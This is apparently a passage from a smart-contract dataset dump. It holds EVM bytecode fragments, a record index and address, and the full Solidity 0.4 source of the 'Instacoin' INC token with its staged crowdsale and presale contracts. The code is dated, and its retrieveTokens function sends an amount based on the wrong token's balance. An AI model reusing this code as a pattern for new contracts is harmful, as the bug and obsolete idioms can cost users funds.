0518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610dae576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e42565b610dc1838261196190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fc757600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561105257600080fd5b6110a482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117682600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196190919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120b8260045461196190919063ffffffff16565b6004819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60008082141561136e578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a361158c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113aa57600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113f857600080fd5b61144a82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114df82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197a90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600061162382600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197a90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117eb57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156118b757600080fd5b6102c65a03f115156118c857600080fd5b50505060405180519050905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561196f57fe5b818303905092915050565b600080828401905083811015151561198e57fe5b80915050929150505600a165627a7a72305820a73be8a18529685ab382603f2f88c6167ce34fff90896b333a9db86894dcb0ef0029
{"success": true, "error": null, "results": {}}
5,072
0x417f0b9133a8388fdb4ffa14e0c41638db7b6185
pragma solidity ^0.4.13; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused { paused = false; Unpause(); } } contract INCToken is MintableToken { string public constant name = "Instacoin"; string public constant symbol = "INC"; uint32 public constant decimals = 18; bool public transferAllowed = false; modifier whenTransferAllowed() { require(transferAllowed || msg.sender == owner); _; } function allowTransfer() onlyOwner { transferAllowed = true; } function transfer(address _to, uint256 _value) whenTransferAllowed returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) whenTransferAllowed returns (bool) { return super.transferFrom(_from, _to, _value); } } contract StagedCrowdsale is Pausable { using SafeMath for uint; struct Milestone { uint period; uint bonus; } uint public start; uint public totalPeriod; uint public invested; uint public hardCap; Milestone[] public milestones; function milestonesCount() constant returns(uint) { return milestones.length; } function setStart(uint newStart) onlyOwner { start = newStart; } function setHardcap(uint newHardcap) onlyOwner { hardCap = newHardcap; } function addMilestone(uint period, uint bonus) onlyOwner { require(period > 0); milestones.push(Milestone(period, bonus)); totalPeriod = totalPeriod.add(period); } function removeMilestone(uint8 number) onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); delete milestones[number]; for (uint i = number; i < milestones.length - 1; i++) { milestones[i] = milestones[i+1]; } milestones.length--; } function changeMilestone(uint8 number, uint period, uint bonus) onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); milestone.period = period; milestone.bonus = bonus; totalPeriod = totalPeriod.add(period); } function insertMilestone(uint8 numberAfter, uint period, uint bonus) onlyOwner { require(numberAfter < milestones.length); totalPeriod = totalPeriod.add(period); milestones.length++; for (uint i = milestones.length - 2; i > numberAfter; i--) { milestones[i + 1] = milestones[i]; } milestones[numberAfter + 1] = Milestone(period, bonus); } function clearMilestones() onlyOwner { require(milestones.length > 0); for (uint i = 0; i < milestones.length; i++) { delete milestones[i]; } milestones.length -= milestones.length; totalPeriod = 0; } modifier saleIsOn() { require(milestones.length > 0 && now >= start && now < lastSaleDate()); _; } modifier isUnderHardCap() { require(invested <= hardCap); _; } function lastSaleDate() constant returns(uint) { require(milestones.length > 0); return start + totalPeriod * 1 days; } function currentMilestone() saleIsOn constant returns(uint) { uint previousDate = start; for(uint i=0; i < milestones.length; i++) { if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) { return i; } previousDate = previousDate.add(milestones[i].period * 1 days); } revert(); } } /** * @title PreSale * @dev The PreSale contract stores balances investors of pre sale stage. */ contract PreSale is Pausable { event Invest(address, uint); using SafeMath for uint; address public wallet; uint public start; uint public total; uint16 public period; mapping (address => uint) balances; mapping (address => bool) invested; address[] public investors; modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } function totalInvestors() constant returns (uint) { return investors.length; } function balanceOf(address investor) constant returns (uint) { return balances[investor]; } function setStart(uint newStart) onlyOwner { start = newStart; } function setPeriod(uint16 newPeriod) onlyOwner { period = newPeriod; } function setWallet(address newWallet) onlyOwner { require(newWallet != address(0)); wallet = newWallet; } function invest() saleIsOn whenNotPaused payable { wallet.transfer(msg.value); balances[msg.sender] = balances[msg.sender].add(msg.value); bool isInvested = invested[msg.sender]; if(!isInvested) { investors.push(msg.sender); invested[msg.sender] = true; } total = total.add(msg.value); Invest(msg.sender, msg.value); } function() external payable { invest(); } } contract Crowdsale is StagedCrowdsale { address public multisigWallet; address public foundersTokensWallet; address public bountyTokensWallet; uint public foundersTokensPercent; uint public bountyTokensPercent; uint public price; uint public percentRate = 100; uint public earlyInvestorsBonus; PreSale public presale; bool public earlyInvestorsMintedTokens = false; INCToken public token = new INCToken(); function setPrice(uint newPrice) onlyOwner { price = newPrice; } function setPresaleAddress(address newPresaleAddress) onlyOwner { presale = PreSale(newPresaleAddress); } function setFoundersTokensPercent(uint newFoundersTokensPercent) onlyOwner { foundersTokensPercent = newFoundersTokensPercent; } function setEarlyInvestorsBonus(uint newEarlyInvestorsBonus) onlyOwner { earlyInvestorsBonus = newEarlyInvestorsBonus; } function setBountyTokensPercent(uint newBountyTokensPercent) onlyOwner { bountyTokensPercent = newBountyTokensPercent; } function setMultisigWallet(address newMultisigWallet) onlyOwner { multisigWallet = newMultisigWallet; } function setFoundersTokensWallet(address newFoundersTokensWallet) onlyOwner { foundersTokensWallet = newFoundersTokensWallet; } function setBountyTokensWallet(address newBountyTokensWallet) onlyOwner { bountyTokensWallet = newBountyTokensWallet; } function createTokens() whenNotPaused isUnderHardCap saleIsOn payable { require(msg.value > 0); uint milestoneIndex = currentMilestone(); Milestone storage milestone = milestones[milestoneIndex]; multisigWallet.transfer(msg.value); invested = invested.add(msg.value); uint tokens = msg.value.mul(1 ether).div(price); uint bonusTokens = tokens.mul(milestone.bonus).div(percentRate); uint tokensWithBonus = tokens.add(bonusTokens); token.mint(this, tokensWithBonus); token.transfer(msg.sender, tokensWithBonus); } function mintTokensToEralyInvestors() onlyOwner { require(!earlyInvestorsMintedTokens); for(uint i = 0; i < presale.totalInvestors(); i++) { address investorAddress = presale.investors(i); uint invested = presale.balanceOf(investorAddress); uint tokens = invested.mul(1 ether).div(price); uint bonusTokens = tokens.mul(earlyInvestorsBonus).div(percentRate); uint tokensWithBonus = tokens.add(bonusTokens); token.mint(this, tokensWithBonus); token.transfer(investorAddress, tokensWithBonus); } earlyInvestorsMintedTokens = true; } function finishMinting() public whenNotPaused onlyOwner { uint issuedTokenSupply = token.totalSupply(); uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent; uint summaryFoundersTokens = issuedTokenSupply.mul(summaryTokensPercent).div(percentRate - summaryTokensPercent); uint totalSupply = summaryFoundersTokens + issuedTokenSupply; uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate); uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate); token.mint(this, foundersTokens); token.transfer(foundersTokensWallet, foundersTokens); token.mint(this, bountyTokens); token.transfer(bountyTokensWallet, bountyTokens); token.finishMinting(); token.allowTransfer(); token.transferOwnership(owner); } function() external payable { createTokens(); } function retrieveTokens(address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(multisigWallet, token.balanceOf(this)); } }
0x606060405236156101f35763ffffffff60e060020a60003504166329dd0b8681146102045780632f48c4aa146102295780633f4ba83a1461024a5780634070372d1461025f5780634a23418a146102865780634b9ed302146102b55780634c94ac6a146102cd5780635601477b146102e257806359169d06146102fd5780635c975abb14610315578063649134771461033c578063755c30a41461035d5780637d64bcb4146103825780638090114f146103975780638456cb59146103bc57806386d0b46d146103d15780638da5cb5b146103f65780639075becf1461042557806391b7f5ed1461045457806399cd211d1461046c5780639a3fdfd01461049b5780639dc905bb146104c0578063a035b1fe146104e1578063aa525c5514610506578063ab36e4a614610521578063ac4ddd9f14610546578063ada199dd14610567578063b03048131461057f578063b4427263146105a4578063bd17647f146105ae578063bdb9f28d146105cf578063be9a6555146105f0578063cafb220214610615578063ce14a46e1461063a578063d571829e1461065f578063e28fa27d14610674578063e89e4ed61461068c578063f2fde38b146106ba578063f6a03ebf146106db578063fa8b72ff146106f3578063fb86a40414610714578063fc0c546a14610739578063fdea8e0b14610768575b6102025b6101ff610797565b5b565b005b341561020f57600080fd5b6102176109e9565b60405190815260200160405180910390f35b341561023457600080fd5b610202600160a060020a0360043516610a0d565b005b341561025557600080fd5b610202610a55565b005b341561026a57600080fd5b610272610ad7565b604051901515815260200160405180910390f35b341561029157600080fd5b610299610ae7565b604051600160a060020a03909116815260200160405180910390f35b34156102c057600080fd5b610202600435610af6565b005b34156102d857600080fd5b610202610b1b565b005b34156102ed57600080fd5b610202600435602435610ba1565b005b341561030857600080fd5b610202600435610c30565b005b341561032057600080fd5b610272610c55565b604051901515815260200160405180910390f35b341561034757600080fd5b610202600160a060020a0360043516610c65565b005b341561036857600080fd5b610217610cad565b60405190815260200160405180910390f35b341561038d57600080fd5b610202610cb3565b005b34156103a257600080fd5b610217611103565b60405190815260200160405180910390f35b34156103c757600080fd5b610202611109565b005b34156103dc57600080fd5b610217611190565b60405190815260200160405180910390f35b341561040157600080fd5b610299611196565b604051600160a060020a03909116815260200160405180910390f35b341561043057600080fd5b6102996111a5565b604051600160a060020a03909116815260200160405180910390f35b341561045f57600080fd5b6102026004356111b4565b005b341561047757600080fd5b6102996111d9565b604051600160a060020a03909116815260200160405180910390f35b34156104a657600080fd5b6102176111e8565b60405190815260200160405180910390f35b34156104cb57600080fd5b61020260ff600435166024356044356111ee565b005b34156104ec57600080fd5b610217611304565b60405190815260200160405180910390f35b341561051157600080fd5b61020260ff6004351661130a565b005b341561052c57600080fd5b61021761142d565b60405190815260200160405180910390f35b341561055157600080fd5b610202600160a060020a0360043516611434565b005b341561057257600080fd5b610202600435611544565b005b341561058a57600080fd5b610217611569565b60405190815260200160405180910390f35b610202610797565b005b34156105b957600080fd5b61020260ff60043516602435604435611643565b005b34156105da57600080fd5b610202600160a060020a03600435166116d6565b005b34156105fb57600080fd5b61021761171e565b60405190815260200160405180910390f35b341561062057600080fd5b610217611724565b60405190815260200160405180910390f35b341561064557600080fd5b61021761172a565b60405190815260200160405180910390f35b341561066a57600080fd5b610202611730565b005b341561067f57600080fd5b610202600435611a58565b005b341561069757600080fd5b6106a2600435611a7d565b60405191825260208201526040908101905180910390f35b34156106c557600080fd5b610202600160a060020a0360043516611aab565b005b34156106e657600080fd5b610202600435611b08565b005b34156106fe57600080fd5b610202600160a060020a0360043516611b2d565b005b341561071f57600080fd5b610217611b75565b60405190815260200160405180910390f35b341561074457600080fd5b610299611b7b565b604051600160a060020a03909116815260200160405180910390f35b341561077357600080fd5b610299611b8a565b604051600160a060020a03909116815260200160405180910390f35b60008054819081908190819060a060020a900460ff16156107b757600080fd5b60045460035411156107c857600080fd5b6005546000901180156107dd57506001544210155b80156107ef57506107ec6109e9565b42105b15156107fa57600080fd5b6000341161080757600080fd5b61080f611569565b945060058581548110151561082057fe5b906000526020600020906002020160005b50600654909450600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561086957600080fd5b60035461087c903463ffffffff611b9916565b600355600b546108aa9061089e34670de0b6b3a764000063ffffffff611bb316565b9063ffffffff611be216565b92506108d5600c5461089e866001015486611bb390919063ffffffff16565b9063ffffffff611be216565b91506108e7838363ffffffff611b9916565b600f54909150600160a060020a03166340c10f19308360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561094957600080fd5b6102c65a03f1151561095a57600080fd5b50505060405180515050600f54600160a060020a031663a9059cbb338360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156109c357600080fd5b6102c65a03f115156109d457600080fd5b505050604051805150505b5b5b5b5050505050565b6005546000908190116109fb57600080fd5b60025462015180026001540190505b90565b60005433600160a060020a03908116911614610a2857600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60005433600160a060020a03908116911614610a7057600080fd5b60005460a060020a900460ff161515610a8857600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15b5b5b565b600e5460a060020a900460ff1681565b600754600160a060020a031681565b60005433600160a060020a03908116911614610b1157600080fd5b600d8190555b5b50565b6000805433600160a060020a03908116911614610b3757600080fd5b60055460009011610b4757600080fd5b5060005b600554811015610b89576005805482908110610b6357fe5b906000526020600020906002020160005b5060008082556001909101555b600101610b4b565b6000610b96600582611c15565b5060006002555b5b50565b60005433600160a060020a03908116911614610bbc57600080fd5b60008211610bc957600080fd5b6005805460018101610bdb8382611c15565b916000526020600020906002020160005b60408051908101604052858152602081018590529190508151815560208201516001909101555050600254610c27908363ffffffff611b9916565b6002555b5b5050565b60005433600160a060020a03908116911614610c4b57600080fd5b600a8190555b5b50565b60005460a060020a900460ff1681565b60005433600160a060020a03908116911614610c8057600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600d5481565b600080600080600080600060149054906101000a900460ff16151515610cd857600080fd5b60005433600160a060020a03908116911614610cf357600080fd5b600f54600160a060020a03166318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610d3b57600080fd5b6102c65a03f11515610d4c57600080fd5b5050506040518051600954600a54600c54929950019650610d87915086900361089e888863ffffffff611bb316565b9063ffffffff611be216565b93508584019250610db5600c5461089e60095486611bb390919063ffffffff16565b9063ffffffff611be216565b9150610dde600c5461089e600a5486611bb390919063ffffffff16565b9063ffffffff611be216565b600f54909150600160a060020a03166340c10f19308460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610e4057600080fd5b6102c65a03f11515610e5157600080fd5b50505060405180515050600f54600754600160a060020a039182169163a9059cbb91168460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ec157600080fd5b6102c65a03f11515610ed257600080fd5b50505060405180515050600f54600160a060020a03166340c10f19308360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610f3b57600080fd5b6102c65a03f11515610f4c57600080fd5b50505060405180515050600f54600854600160a060020a039182169163a9059cbb91168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610fbc57600080fd5b6102c65a03f11515610fcd57600080fd5b50505060405180515050600f54600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561101f57600080fd5b6102c65a03f1151561103057600080fd5b50505060405180515050600f54600160a060020a0316639b08a22f6040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561107957600080fd5b6102c65a03f1151561108a57600080fd5b5050600f54600054600160a060020a03918216925063f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156110e457600080fd5b6102c65a03f115156110f557600080fd5b5050505b5b5b505050505050565b600c5481565b60005433600160a060020a0390811691161461112457600080fd5b60005460a060020a900460ff161561113b57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a15b5b5b565b60095481565b600054600160a060020a031681565b600654600160a060020a031681565b60005433600160a060020a039081169116146111cf57600080fd5b600b8190555b5b50565b600854600160a060020a031681565b600a5481565b6000805433600160a060020a0390811691161461120a57600080fd5b60055460ff85161061121b57600080fd5b60025461122e908463ffffffff611b9916565b60025560058054906112439060018301611c15565b5050600554600119015b8360ff168111156112b257600580548290811061126657fe5b906000526020600020906002020160005b50600580546001840190811061128957fe5b906000526020600020906002020160005b50815481556001918201549101555b6000190161124d565b60408051908101604052838152602081018390526005805460ff60018801169081106112da57fe5b906000526020600020906002020160005b50815181556020820151600190910155505b5b50505050565b600b5481565b60008054819033600160a060020a0390811691161461132857600080fd5b60055460ff84161061133957600080fd5b6005805460ff851690811061134a57fe5b906000526020600020906002020160005b508054600254919350611374919063ffffffff611bfe16565b6002556005805460ff851690811061138857fe5b906000526020600020906002020160005b5060008082556001909101555060ff82165b600554600019018110156114125760058054600183019081106113ca57fe5b906000526020600020906002020160005b5060058054839081106113ea57fe5b906000526020600020906002020160005b50815481556001918201549101555b6001016113ab565b60058054906112fd906000198301611c15565b505b5b505050565b6005545b90565b6000805433600160a060020a0390811691161461145057600080fd5b50600654600f548291600160a060020a038084169263a9059cbb92821691166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156114bc57600080fd5b6102c65a03f115156114cd57600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561152357600080fd5b6102c65a03f1151561153457600080fd5b505050604051805150505b5b5050565b60005433600160a060020a0390811691161461155f57600080fd5b60098190555b5b50565b60008060008060058054905011801561158457506001544210155b801561159657506115936109e9565b42105b15156115a157600080fd5b505060015460005b600554811015611638578142101580156115e9575060058054829081106115cc57fe5b906000526020600020906002020160005b50546201518002820142105b156115f65780925061163d565b61162d60058281548110151561160857fe5b906000526020600020906002020160005b50548390620151800263ffffffff611b9916565b91505b6001016115a9565b600080fd5b5b505090565b6000805433600160a060020a0390811691161461165f57600080fd5b60055460ff85161061167057600080fd5b6005805460ff861690811061168157fe5b906000526020600020906002020160005b5080546002549192506116ab919063ffffffff611bfe16565b600290815583825560018201839055546116cb908463ffffffff611b9916565b6002555b5b50505050565b60005433600160a060020a039081169116146116f157600080fd5b600e805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b60015481565b60035481565b60025481565b600080548190819081908190819033600160a060020a0390811691161461175657600080fd5b600e5460a060020a900460ff161561176d57600080fd5b600095505b600e54600160a060020a03166329b8caff6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156117ba57600080fd5b6102c65a03f115156117cb57600080fd5b50505060405180519050861015611a2a57600e54600160a060020a0316633feb5f2b8760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561182d57600080fd5b6102c65a03f1151561183e57600080fd5b5050506040518051600e54909650600160a060020a031690506370a082318660006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156118a457600080fd5b6102c65a03f115156118b557600080fd5b5050506040518051600b549095506118ec915061089e86670de0b6b3a764000063ffffffff611bb316565b9063ffffffff611be216565b9250611915600c5461089e600d5486611bb390919063ffffffff16565b9063ffffffff611be216565b9150611927838363ffffffff611b9916565b600f54909150600160a060020a03166340c10f19308360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561198957600080fd5b6102c65a03f1151561199a57600080fd5b50505060405180515050600f54600160a060020a031663a9059cbb868360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611a0357600080fd5b